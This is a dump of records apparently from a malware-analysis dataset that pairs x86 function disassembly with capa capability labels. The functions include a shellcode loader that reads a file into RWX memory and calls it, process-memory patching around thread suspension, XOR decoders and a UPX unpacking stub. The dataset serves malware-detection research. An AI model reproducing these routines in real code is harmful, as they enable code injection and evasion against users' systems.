joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003087d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x100308a2
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x100308ba
push 0
push 0x12eb
push 0
push 0
push 0x134d
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x10032060
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
push 1
call fcn.10031b97
add esp, 0xc
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10032090
xor eax, eax
jmp 0x100321d4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp + 8]
push eax
call fcn.10031bdf
add esp, 0x10
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x100320b8
xor eax, eax
jmp 0x100321d4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 0x6679
push 1
call fcn.100318cc
add esp, 0x10
cmp dword [ebp - 0xc], 0
jne 0x100320db
xor eax, eax
jmp 0x100321d4
push 1
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
call fcn.10031a17
add esp, 0x18
lea eax, [ebp - 8]
push eax
push 0x7a93
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push 1
call fcn.10031c3b
add esp, 0x14
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x10032132
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 4]
push eax
call fcn.10031cea
add esp, 0xc
push dword [ebp - 4]
call fcn.100317a9
pop ecx
test eax, eax
jne 0x10032146
xor eax, eax
jmp 0x100321d4
push 0x5686
push 0x1f66
push 0xfb1
lea eax, [ebp - 4]
push eax
push 0xb54
push 0x1b0a
push 0x1e9d
push 0x718
push 1
call fcn.10031d4a
add esp, 0x24
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x100321bc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x10032196
xor eax, eax
jmp 0x100321d4
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x100321af
xor eax, eax
jmp 0x100321d4
push 1
lea eax, [ebp - 4]
push eax
call fcn.10032016
pop ecx
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x100321cd
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x100321d1
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x1004215d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10042184
push 0
push 0x12eb
push 0
push 0
push 0x134d
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x100421ac
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100421ac
push 0x8ce
push 0x2425
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
mov esp, ebp
pop ebp
ret
Function at 0x10044ec8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10044f1f
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx]
mov dword [ecx + eax], edx
jmp 0x10044f33
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10044f33
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esp, ebp
pop ebp
ret
Function at 0x1007e925
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10086330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10070ec4
mov dword [ebp - 0x14], eax
cmp dword [0x10673a8c], esi
jne 0x1007ea18
push 0x800
push esi
push 0x10007acc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1007e9a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1007eaf8
push esi
push esi
push 0x10007acc
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1007eaf8
push 0x10007ae4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1007eaf8
push eax
call ebx
push 0x10007af0
push edi
mov dword [0x10673a8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007b00
push edi
mov dword [0x10673a90], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007b14
push edi
mov dword [0x10673a94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10673a9c], eax
test eax, eax
je 0x1007ea15
push 0x10007b30
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10673a98], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007ea3d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007ea30
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007ea52
push 4
pop eax
jmp 0x1007eafa
cmp dword [ebp - 0x14], esi
je 0x1007ea52
push dword [0x10673a8c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007ea37
mov eax, dword [0x10673a98]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1007eab0
cmp dword [0x10673a9c], edi
je 0x1007eab0
push eax
call ebx
push dword [0x10673a9c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1007eab0
test eax, eax
je 0x1007eab0
call ecx
test eax, eax
je 0x1007eaa5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1007eaa5
test byte [ebp - 8], 1
jne 0x1007eab0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007eae0
mov eax, dword [0x10673a90]
cmp eax, edi
je 0x1007eadd
push eax
call ebx
test eax, eax
je 0x1007eadd
call eax
mov esi, eax
test esi, esi
je 0x1007eadd
mov eax, dword [0x10673a94]
cmp eax, edi
je 0x1007eadd
push eax
call ebx
test eax, eax
je 0x1007eadd
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10673a8c]
call ebx
test eax, eax
je 0x1007eaf8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1007eafa
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006bbde
mov esp, ebp
pop ebp
ret
Function at 0x43b630
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop ebx
sub ecx, 0xed999795
call fcn.0043b672
sub ecx, ecx
xor dword [edi], ebx
add ecx, 0xf7507c16
or ecx, ecx
sub esi, ecx
inc edi
inc ecx
sub esp, 4
mov dword [esp], 0xe7927588
pop ecx
sub esi, esi
cmp edi, edx
jne fcn.0043b630
mov esi, 0xc8bc2771
ret
Function at 0x42e610
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
setb byte [0x41a83b]
mov edi, eax
dec dword [0x41a78f]
sub eax, 0x17
rcr ecx, 0x18
shl ebx, 0x1b
sub dword [0x41a777], 0xffffffe0
xor edx, dword [ebp - 8]
dec dword [ebp - 0x10]
push edx
mov eax, 0x41ad59
mov ecx, edx
sbb dword [0x41aa44], 0x7e6db738
mov edi, dword [0x41a8ac]
rcl ebx, 1
mov edi, dword [ebp - 0x10]
push 0x3eb94007
push dword [ebp - 0xc]
push dword [ebp - 0xc]
pop dword [ebp - 0x14]
push 0x5af1988b
push 0x4d2dd021
push dword [eax]
add edi, 0x21581403
push edx
sbb dword [ebp - 0xc], 0x50
push dword [0x41a8ce]
push dword [0x41af53]
mov ebx, 0x41ac66
shr edx, 0x1b
or edx, eax
push edx
shl dword [0x41aa1c], 0x10
sbb dword [0x41ae2d], 0xffffff88
mov cl, 0xa3
mov dl, al
btr edx, 0x12
mov edx, dword [0x41a34c]
shrd ecx, edx, 4
push dword [0x41abcc]
pop dword [0x41a755]
xor dword [0x41aca4], eax
sub dword [0x41abd9], edx
dec edi
sub ecx, 0xb99d91
call fcn.0042d840
mov edi, 0x174fa9fa
imul esi, edx, 0x2422accd
pop edx
call fcn.00419bc8
ror esi, 0x14
pop edx
popal
mov esp, ebp
pop ebp
ret

Function at 0x438c8b
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x438a14
mov edi, eax
call fcn.00438cb9
sub edi, 0xb4a6ee92
sub edi, 1
xor dword [esi], ecx
and edi, eax
inc esi
add edi, eax
cmp esi, ebx
jne fcn.00438c8b
and eax, eax
ret
Function at 0x425e50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19000]
push edi
jmp 0x425e6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x425e71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x425e60
mov eax, 1
add ebx, ebx
jne 0x425e83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x425e78
jne 0x425e94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x425e78
xor ecx, ecx
sub eax, 3
jb 0x425ea8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x425f1a
mov ebp, eax
add ebx, ebx
jne 0x425eb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x425ec0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x425ee4
inc ecx
add ebx, ebx
jne 0x425ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x425ec5
jne 0x425ee1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x425ec5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x425f04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x425ef5
jmp 0x425e66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x425f04
add edi, ecx
jmp 0x425e66
pop esi
mov edi, esi
mov ecx, 0x91a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x425f22
cmp byte [edi], 9
jne 0x425f22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x425f27
lea edi, [esi + 0x23000]
mov eax, dword [edi]
or eax, eax
je 0x425f9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2cf44]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d00c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x425f54
mov ecx, edi
jns 0x425f83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d010]
or eax, eax
je 0x425f99
mov dword [ebx], eax
add ebx, 4
jmp 0x425f71
call dword [esi + 0x2d020]
mov ebp, dword [esi + 0x2d014]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x425fd3
sub esp, 0xffffff80
jmp 0x41382f
Function at 0x4069ea
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a0e
xor eax, eax
test eax, eax
je 0x406a21
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a21
xor ecx, ecx
jmp 0x406a24
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b47
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43194c], 0
push esi
jne 0x406b7e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b58
mov dword [ecx*4 + 0x431948], eax
inc ecx
cmp ecx, 0x100
jl 0x406b53
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406baf
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431948]
xor eax, esi
inc ecx
dec edx
jne 0x406b91
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x4011b3
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9ed
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_ReadProcessMemory
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9e8
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
push dword [0x44d51c]
call sub.kernel32.dll_ResumeThread
mov dword [0x44d528], 0x10007
push 0xa
call sub.kernel32.dll_Sleep
push 0x44d528
push dword [0x44d51c]
call sub.kernel32.dll_GetThreadContext
mov eax, dword [ebp + 8]
cmp dword [0x44d5e0], eax
jne 0x401237
jmp 0x401239
jmp 0x401213
push dword [0x44d51c]
call sub.kernel32.dll_SuspendThread
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9ed
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
leave
ret 4

Function at 0x40126e
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9ed
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_ReadProcessMemory
push 0
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9fd
push dword [0x44cb3d]
push dword [0x44d518]
call sub.kernel32.dll_ReadProcessMemory
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9e8
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9e8
push dword [0x44cb3d]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
push dword [0x44d51c]
call sub.kernel32.dll_ResumeThread
push 0xa
call sub.kernel32.dll_Sleep
mov dword [0x44d528], 0x10007
push 0x44d528
push dword [0x44d51c]
call sub.kernel32.dll_GetThreadContext
mov eax, dword [ebp + 8]
cmp dword [0x44d5e0], eax
jne 0x401340
jmp 0x401351
mov eax, dword [0x44cb3d]
mov ebx, dword [0x44d5e0]
cmp eax, ebx
je 0x4013b4
jmp 0x401323
push dword [0x44d51c]
call sub.kernel32.dll_SuspendThread
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9ed
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9fd
push dword [0x44cb3d]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
mov eax, 0
leave
ret 4
push dword [0x44d51c]
call sub.kernel32.dll_SuspendThread
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9ed
push dword [ebp + 8]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
push dword [0x44d7f4]
push 0
mov al, byte [0x44c9ec]
movzx ax, al
push ax
push 0x44c9fd
push dword [0x44cb3d]
push dword [0x44d518]
call sub.kernel32.dll_WriteProcessMemory
mov eax, 1
leave
ret 4
Function at 0x401ef0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401f1c
xor eax, eax
leave
ret 0xc
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
add dword [ebp - 8], 0x20
push dword [ebp - 8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, 1
leave
ret 0xc

Function at 0x401ff0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebx
push esi
push edi
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_IsClipboardFormatAvailable
or eax, eax
je 0x402032
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
push eax
call fcn.00402250
mov esi, eax
push esi
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov edi, eax
push edi
push ebx
call fcn.004022d0
call sub.user32.dll_CloseClipboard
mov eax, edi
jmp 0x40203b
xor eax, eax
call sub.user32.dll_CloseClipboard
jmp 0x40203b
pop edi
pop esi
pop ebx
ret

Function at 0x40206c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x402097
xor eax, eax
leave
ret 0xc
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_FlushFileBuffers
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x40258a
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [0x44e160]
push edi
test esi, esi
jne 0x4025e7
push 0x400
call dword [sym.imp.msvcrt.dll_malloc]
mov esi, eax
pop ecx
mov dword [0x44e160], esi
xor edi, edi
push edi
push 8
pop ecx
call fcn.0040256b
pop ecx
push 8
shl eax, 0x18
pop ecx
test eax, eax
jns 0x4025cc
add eax, eax
xor eax, 0x4c11db7
jmp 0x4025ce
add eax, eax
dec ecx
jne 0x4025bf
push eax
push 0x20
pop ecx
call fcn.0040256b
mov dword [esi + edi*4], eax
inc edi
cmp edi, 0x100
pop ecx
jl 0x4025af
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
add ecx, eax
jmp 0x40260a
movsx edx, byte [eax]
xor edx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x10]
and edx, 0xff
shr edi, 8
xor edi, dword [esi + edx*4]
inc eax
mov dword [ebp + 0x10], edi
cmp eax, ecx
jb 0x4025f1
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebp
ret
Function at 0x4038fa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x72c
push ebx
push esi
push edi
push dword [ebp + 0x10]
call fcn.004038aa
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0xc]
call fcn.004038bf
lea eax, [ebp - 0x72c]
push eax
push dword [ebp + 8]
call fcn.004038bf
add esp, 0x14
push 0x70
pop ebx
lea esi, [ebp - 0x71c]
mov edi, ebx
lea eax, [esi - 0x10]
push esi
push eax
call fcn.004038bf
push esi
call fcn.00403872
add esp, 0xc
add esi, 0x10
dec edi
jne 0x403937
movsx edx, word [0x44ddd0]
xor esi, esi
shl edx, 2
mov edi, dword [ebp + 0x10]
movsx eax, si
mov ecx, eax
add eax, edx
mov eax, dword [ebp + eax*4 - 0x72c]
shl ecx, 2
and eax, dword [ebp + ecx - 0x1c]
inc esi
mov dword [ecx + edi], eax
cmp si, 4
jb 0x40395c
mov dword [ebp - 8], 0x44df98
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 0x1c]
push eax
call fcn.00403872
and dword [ebp - 4], 0
pop ecx
mov ecx, dword [ebp - 8]
movzx eax, word [ecx - 0x1c6]
movzx ecx, word [ecx]
movsx esi, cx
movsx edi, ax
shl esi, 2
shl edi, 2
movsx eax, word [ebp - 4]
mov edx, dword [ebp + 0x10]
lea ebx, [esi + eax]
mov ebx, dword [ebp + ebx*4 - 0x72c]
mov ecx, eax
add eax, edi
xor ebx, dword [ebp + eax*4 - 0x72c]
shl ecx, 2
and ebx, dword [ebp + ecx - 0x1c]
add edx, ecx
xor dword [edx], ebx
inc dword [ebp - 4]
cmp word [ebp - 4], 4
jb 0x4039af
add dword [ebp - 8], 2
dec dword [ebp - 0xc]
jne 0x403988
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ea7
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
push ebx
xor ecx, ecx
push esi
inc ecx
push edi
mov eax, ecx
xor edi, edi
mov esi, 0xe3
cwde
mov word [ebp + eax*2 - 0x1d8], di
add eax, eax
cdq
mov ebx, esi
idiv ebx
inc edi
cmp di, 0x71
movzx eax, dx
jl 0x403ebf
cmp ax, cx
jne 0x403f01
mov eax, 0xe2
xor edi, edi
cwde
mov word [ebp + eax*2 - 0x1d8], di
add eax, eax
cdq
mov ebx, esi
idiv ebx
inc edi
cmp di, 0x71
movzx eax, dx
jl 0x403ee5
jmp 0x403f22
push 0x71
pop edi
cwde
mov word [ebp + eax*2 - 0x1d8], di
add eax, eax
cdq
mov ebx, esi
idiv ebx
inc edi
movzx eax, dx
mov edx, 0xe2
cmp di, dx
jl 0x403f04
mov eax, ecx
mov word [0x44ddd0], ax
or eax, 0xffffffff
mov word [0x44df96], ax
mov edi, ecx
mov dword [ebp - 8], 0x70
lea eax, [ecx + ecx]
cdq
mov ecx, esi
idiv ecx
movzx eax, dx
movsx ecx, ax
lea eax, [ecx + ecx]
mov edx, eax
neg edx
mov bx, word [ebp + edx - 0x10]
mov dx, word [ebp + edx - 0x14]
mov word [ebp - 0xe], dx
mov dx, word [ebp + eax - 0x1da]
mov ax, word [ebp + eax - 0x1d6]
mov word [ebp - 0xc], dx
xor edx, edx
mov word [ebp - 0x10], bx
mov word [ebp - 0xa], ax
mov dword [ebp - 4], edx
movsx eax, word [ebp - 4]
movzx eax, word [ebp + eax*2 - 0x10]
cmp ax, 0x71
jge 0x403fa3
movsx ebx, dx
imul ebx, ebx, 0xe3
add ebx, edi
mov word [ebx*2 + 0x44ddd0], ax
inc edx
inc dword [ebp - 4]
cmp dx, 2
jl 0x403f80
inc edi
dec dword [ebp - 8]
jne 0x403f3c
push 0x70
pop ebx
xor eax, eax
push 0x10
mov word [0x44ddb0], ax
pop eax
mov edx, eax
mov edi, 0xffff0000
mov esi, edi
and esi, ebx
je 0x403fd6
add word [0x44ddb0], dx
mov ebx, esi
cdq
sub eax, edx
sar eax, 1
movzx edx, ax
movsx eax, dx
mov esi, edi
mov ecx, eax
shr esi, cl
xor edi, esi
test dx, dx
jne 0x403fc7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403ff3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call fcn.004038bf
lea eax, [ebp - 0x10]
push eax
call fcn.0040383c
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call fcn.004038fa
mov esi, dword [ebp + 0xc]
add esp, 0x18
push dword [ebp + 0x10]
xor edi, edi
cmp word [esi], di
je 0x404042
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004038fa
add esp, 0xc
jmp 0x404048
call fcn.004038aa
pop ecx
mov edx, dword [ebp + 0x10]
movsx eax, di
mov ecx, eax
mov eax, dword [esi + eax*4 + 0x14]
shl ecx, 2
xor eax, dword [ebp + ecx - 0x20]
add edx, ecx
xor dword [edx], eax
inc edi
cmp di, 4
jb 0x404048
pop edi
pop esi
leave
ret